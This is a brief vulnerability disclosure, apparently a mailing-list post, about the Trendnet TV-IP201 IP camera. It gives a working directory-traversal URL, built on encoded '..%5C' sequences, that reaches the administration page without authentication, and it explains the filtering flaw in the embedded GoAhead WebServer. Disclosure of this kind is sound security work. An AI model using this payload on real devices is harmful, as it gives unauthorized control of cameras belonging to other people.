Trendnet TV-IP201 Directory Traversal / Authentication Bypass

`simply go to http://ipaddress of  
camera/..%5C..%5C..%5C..%5C..%5C..%5C/config/tcfg_system.asp (system  
administration page)  
  
These cams use an embedded version of GoAhead WebServer which is  
vulnerable to the above attack because they don't correctly filter URL  
encoded substitutions for the '/' character. Original vulnerability  
and further explanation posted here:  
http://www.securityfocus.com/bid/5197/info  
  
William Reyor  
  
  
--   
Genius is one percent inspiration and ninety-nine percent perspiration.  
  
`